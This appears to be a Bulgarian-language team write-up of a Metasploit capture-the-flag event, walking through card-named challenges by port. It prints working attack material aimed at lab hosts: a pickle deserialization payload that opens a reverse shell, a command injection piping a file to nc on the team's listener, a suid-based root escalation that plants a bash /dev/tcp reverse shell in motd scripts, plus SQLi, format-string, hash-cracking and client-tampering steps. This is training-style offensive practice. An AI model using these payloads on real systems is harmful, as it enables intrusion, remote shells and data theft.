---
# System prepended metadata

title: Знаменца

---

[toc]

# Знаменца


## 4 Сърца - 80:
![](https://i.imgur.com/UZiD3HL.png)


## 8 Сърца - 4545:
![](https://i.imgur.com/bevRXiZ.png)
elf file:
![](https://i.imgur.com/tpwxOxK.png)
с достатъчно `buffalo` (игра на думи за buffer) декриптира .enc
RE на elf файла показва, че използва 0x41 за да "криптира" с XOR. (Питайте Десо за повече подрбоности)
Пробвах с https://github.com/mstrand/xcat:

```
xcat.py -n 0x41 8_of_hearts.enc > asd.png
```
и бачка:

![](https://i.imgur.com/cPgPJsD.png)

## 3 Пика - 8080 :
![](https://i.imgur.com/EiP1B6t.png)

Като използваш `guest` с каквато и да е парола, response-a се връща за 5 сек.
С други случайни имена, връща веднага. Тоест `observational skills` :) 
Понеже ми беше бавен Burp-a (community eddition), го brute force-нах с:
https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack

![](https://i.imgur.com/g4NpQ1M.png)

## 2 Спатия - 9001



SQLite SQLi (Union) в search field-a.

![](https://i.imgur.com/fTcNlny.png)


![](https://cdn.discordapp.com/attachments/779641937266999326/784463918055555072/unknown.png)

## Червен Жокер - 9007
![](https://i.imgur.com/7Z3d63Q.png)

![](https://i.imgur.com/N8zuq91.png)

Флага е ясен, но тези zip файлове ?

## Черен Жокер - 8123

![](https://i.imgur.com/uZBLXMA.png)

![](https://i.imgur.com/BXTngx4.png)

`hashcat -m 0 pass_to_crack.txt -a 3 ihatesalt?1?1?1?1?1?1 -i --increment-min 9 --increment-max 15 -1 ?l?d --force -O`

/admin

## 6 купа - 6868

```
curl -i -s -k -X $'GET' \
    -H $'Host: 172.15.1.117:6868' \
    $'http://172.15.1.117:6868/files/BUDDY/2'
```

## Дама купа - 9008 и 9010

- decompile на java class-овете с procyon, промяна на AuthState.java (промяна на `loggedIn` от `private` на `public`) и промяна на `this.authState.loggedIn` в Class.java, преди изпращане на аутентикация


`AuthState.java`:
```java

import java.io.Serializable;
import java.util.Base64;

// 
// Decompiled by Procyon v0.5.36
// 

public class AuthState implements Serializable
{
    private static final long serialVersionUID = 123197894L;
    public boolean loggedIn;
    public String username;
    public AuthState() {
        this.loggedIn = true;
        this.username = "Guest";
    }

    public boolean isLoggedIn() {
        return true;
    }

    public void setLoggedInStatus(final boolean loggedIn) {
        this.loggedIn = true;
    }
}
```

`Client.class`:
```java

public void doAuthenticate(final BufferedReader bufferedReader) {
        try {
            this.authState.loggedIn = true;
            this.cliOut.writeObject(this.authState);
            final String utf = this.cliIn.readUTF();
            System.out.println(utf);
            if (utf.contains("already authenticated")) {
                return;
            }
            // this.cliOut.writeUTF(bufferedReader.readLine());
            this.cliOut.writeUTF(this.authState.username);
            this.cliOut.flush();
            System.out.println(this.cliIn.readUTF());
            this.authState = (AuthState)this.cliIn.readObject();
        }
        catch (IOException | ClassNotFoundException ex) {
            System.out.println("Could not retrieve server's message regarding authentication");
        }
    }
```

![](https://i.imgur.com/XldFzrW.png)


## 7 Пика - 8888
@QyskiSXyT0GStc7wr3DmtQ  вдигна reverse shell през picle cookie seraliziation:

```python=
import pickle
import base64
import os

class RCE1:
    def __reduce__(self):
        # 1. Dump the flag from memory
        dumpcmd = "with open('/tmp/flag.png', 'wb') as f: f.write(FLAG)"
        return eval, (dumpcmd,)
        

class RCE2:
    def __reduce__(self):
        #2. Spawn reverse shell
        cmd = """
        python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.15.1.116",44444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
        """
        return os.system, (cmd,)

dump_flag = pickle.dumps(RCE1())
rev_shell = pickle.dumps(RCE2())
print('The vuln is in the cookie serilization, here are the malicious payloads')
print('1. dump flag from memory:')
print(base64.b64encode(dump_flag))
print('2. start a rev shell on the KaliBox p=44444')
print('3. rev shel payload:')
print(base64.b64encode(rev_shell))
```

Видяхме в кода на web app-a следното:

```python

with (app_path / 'modules_metadata_base.json').open('r') as file_h:
    msf_modules = json.load(file_h)
for module in msf_modules.values():
    module['platforms'] = tuple(platform.strip() for platform in set(module['platform'].split(',')))

with (app_path / 'flag.png').open('rb') as file_h:
    FLAG = file_h.read()
if not config.DEBUG:
    (app_path / 'flag.png').unlink()

```
Видяхме, че flag.png вече е изтрит... 
@QyskiSXyT0GStc7wr3DmtQ се сети, че може да го dump-не от паметта обратно във файл:

```
class RCE1:
    def __reduce__(self):
        # 1. Dump the flag from memory
        dumpcmd = "with open('/tmp/flag.png', 'wb') as f: f.write(FLAG)"
        return eval, (dumpcmd,)
```

![](https://i.imgur.com/xyhe2V3.png)


## 6 Каро - 8200

@QyskiSXyT0GStc7wr3DmtQ отново напрви магия -> RCE през exif мета данните на картинките:
http://blog.brian.jp/python/png/2016/07/07/file-fun-with-pyhon.html

## Дама пика - 8202

![](https://i.imgur.com/5kjPn9y.png)

GraphQL Introspection:

```
POST /api HTTP/1.1
Host: 172.15.1.117:8202
Content-Length: 1552
Pragma: no-cache
Cache-Control: no-cache
accept: */*
authorization: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
content-type: application/json
Origin: http://172.15.1.117:8202
Referer: http://172.15.1.117:8202/posts
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=gAR9lC4=
Connection: close


{"query":"query CURRENT_USER_QUERY {__schema {                queryType { name }        mutationType { name }        subscriptionType { name }        types {          ...FullType        }        directives {          name          description                    locations          args {            ...InputValue          }        }      }    }    fragment FullType on __Type {      kind      name      description      fields(includeDeprecated: true) {        name        description        args {          ...InputValue        }        type {          ...TypeRef        }        isDeprecated        deprecationReason      }      inputFields {        ...InputValue      }      interfaces {        ...TypeRef      }      enumValues(includeDeprecated: true) {        name        description        isDeprecated        deprecationReason      }      possibleTypes {        ...TypeRef      }    }    fragment InputValue on __InputValue {      name      description      type { ...TypeRef }      defaultValue    }    fragment TypeRef on __Type {      kind      name      ofType {        kind        name        ofType {          kind          name          ofType {            kind            name            ofType {              kind              name              ofType {                kind                name                ofType {                  kind                  name                  ofType {                    kind                    name                  }                }              }            }          }        }      }    }"

}
```

https://apis.guru/graphql-voyager/

![](https://i.imgur.com/mNWy6NB.png)

- Request:

```
{
    "query":"query CURRENT_USER_QUERY {posts{media,title,content}}"
}
```

- Response:

```
{"data":{"posts":[{"media":"/cac0babe-1fff-4d85-9070-8d147e76da4b/queen_of_spades.png","title":"Lorem ipsum dolor sit amet","content":"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec interdum ut metus consectetur sodales. Sed et vulputate massa. Nullam consequat fringilla ante, sit amet lacinia ligula egestas et. Mauris imperdiet sodales nisl, sit amet placerat nisi. Pellentesque et ligula at purus convallis vehicula. Aenean ac ullamcorper diam"}]}}
```

![](https://i.imgur.com/AUsRzaF.png)


## 9 спатия - 1337
```python
Trying 172.15.1.117...
Connected to 172.15.1.117.
Escape character is '^]'.

Welcome to the '9 of Clubs' service.
-------------------------------
Please choose an option:
1. Send contact info
2. Greetings
3. Send feedback
0. Exit
2
Please, enter your name...
%9$s
Hello Flag_9_of_Clubs{b17ef17454081e89c084d5182d76c527}!!!

```


## 5 Спатия - 8101
https://hackmd.io/HMeKG6ACROirmj_xFFm75Q

## 2 Купа - 9000

```
POST / HTTP/1.1
Host: 172.15.1.117:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.15.1.117:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.15.1.117:9000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

search=$(cat+hidden/2_of_hearts.png+|+base64+|+nc+172.15.1.116+44444)
```

## Асо Спатия - 9009

![](https://i.imgur.com/UQrJSqQ.png)

- влизаш с `admin` и `password` през ssh
- намираш `/opt/vpn_connect`, което е suid binary. Като му подадеш път до лог файл с `-l` ако го няма го създава с потребител `root` и group `admin`, с rw права за `admin`.
- С `pspy` виждаш, че при ssh login изпълнява скриптовете в `/etc/update-motd.d/`
- Правиш един файл там, след това го едитваш и си вкарваш revshell-a в него
- пускаш listener, връзваш се с нова ssh сесия и взимаш `root`. 
- Флагът е в /etc.


![](https://i.imgur.com/DIVDMPU.png)


```bash
admin@7a16300c4aee:/opt$ ./vpn_connect -u kor -p kor -l /etc/update-motd.d/1-kor
Logging to /etc/update-motd.d/1-kor
Unknown username
admin@7a16300c4aee:/opt$ cat /etc/update-motd.d/1-kor
Attempting to connect to server with kor and kor

Connection handled

Authentication failed

admin@7a16300c4aee:/opt$ ls -la /etc/update-motd.d/1-kor
-rwxrwxr-- 1 root admin 93 Dec  6 10:09 /etc/update-motd.d/1-kor


admin@7a16300c4aee:/opt$ printf '#!/bin/bash\nbash -i >& /dev/tcp/172.15.1.116/4444 0>&1' > /etc/update-motd.d/1-kor

```

## 9 Каро - 8201

```python
./ffuf -u http://intranet.metasploit.ctf:8201/ -H "Host: FUZZ.intranet.metasploit.ctf" -mc 200 -w /usr/share/wordlists/dirb/common.txt
articles                [Status: 200, Size: 68, Words: 10, Lines: 2]
assets                  [Status: 200, Size: 68, Words: 10, Lines: 2]
Articles                [Status: 200, Size: 68, Words: 10, Lines: 2]
contact                 [Status: 200, Size: 68, Words: 10, Lines: 2]
Contact                 [Status: 200, Size: 68, Words: 10, Lines: 2]
hidden                  [Status: 200, Size: 95, Words: 8, Lines: 4] <--------------------------
Login                   [Status: 200, Size: 68, Words: 10, Lines: 2]
login                   [Status: 200, Size: 68, Words: 10, Lines: 2]
reports                 [Status: 200, Size: 68, Words: 10, Lines: 2]
Software                [Status: 200, Size: 68, Words: 10, Lines: 2]
software                [Status: 200, Size: 68, Words: 10, Lines: 2]
```

## 4 Спатия - 8092
изпращаме POST заявка към login.php и пускаме password като array ["apples", "banana"] и излиза като true
флага е http://127.0.0.1:8092/completedItCongrats453223232.png
```
user=admin&password[%22%61%70%70%6c%65%22%2c%2b%22%62%61%6e%61%6e%61%22]=&hash=
```

## 8 каро - 5555

```python
#!/bin/env python

from pwn import *
import time

def find_bombs(row):
    start = 0
    while True:
        start = row.find("0", start)
        if start == -1: return
        yield start
        start += len("0")

r = remote('172.15.1.117', 5555)
i = 0
line = r.readline()
prev_bomb = []
current_me = 0
log = ""

while True:
    line = r.readline()
    current_line = line.decode('utf8')
    print(f"{current_line}")
    if 'SCORE' not in current_line:
        if current_line.find('X') > -1:
            current_me = current_line.find('X')
            print(f"me @ {current_me}: , bombs: {prev_bomb}")
            print(f"last step: {log}")
            r.close()
            exit()
        if current_line.find('^') > -1:
            current_me = current_line.find('^')
            if 1 <= current_me <= 6 and current_me in prev_bomb:
                if current_me + 1 in prev_bomb:
                    log = f"1 me @ {current_me} going left, bombs: {prev_bomb}"
                    r.sendline(b'\x5b\x44') # Move left
                else:
                    log = f"2 me @ {current_me} going right, bombs: {prev_bomb}" 
                    r.sendline(b'\x5b\x43') # Move right

            if 14 >= current_me >= 7 and current_me in prev_bomb:
                if current_me - 1 in prev_bomb:
                    log = f"3 me @ {current_me} going right, bombs: {prev_bomb}"
                    r.sendline(b'\x5b\x43') # Move right
                else: 
                    log = f"4 me @ {current_me} going left, bombs: {prev_bomb}"
                    r.sendline(b'\x5b\x44') # Move left
        if current_line.find('0') > -1:
            prev_bomb = find_bombs(current_line)

```

```
SCORE: 489
| 0    0      |
|           0 |
|      0   0  |
|    0 0      |
|    0    0   |
|            0|
|0       0    |
|    0    0   |
|     0      0|
|     0^   0  |
CONGRATULATIONS!  Check port 7878!

```

на порт 7878 имаше уеб сървър с 8ца каро

```
kali@kali:~$ curl http://172.15.1.117:7878
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="flag.png">flag.png</a></li>
</ul>
<hr>
</body>
</html>
```


## 8 Спатия - 1080

socks5 proxychains via 172.15.1.117:1080

![](https://i.imgur.com/sKAitkF.png)

И какво имаме на порт 8000:
`proxychains curl -i http://127.0.0.1:8000`

```htmlembedded
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="8_of_spades.png">8_of_spades.png</a></li>
</ul>
<hr>
</body>
</html>
```

## 9 купа - UDP 53
Сменяме /etc/resolve.conf на
`nameserver 172.15.1.117`

Пробваме какво ли не... после:
![](https://i.imgur.com/JDwesFL.png)

след това:
![](https://i.imgur.com/5Gguzvm.png)

base64 матрьошка от `txt` записа:

![](https://i.imgur.com/3IRRTQu.png)
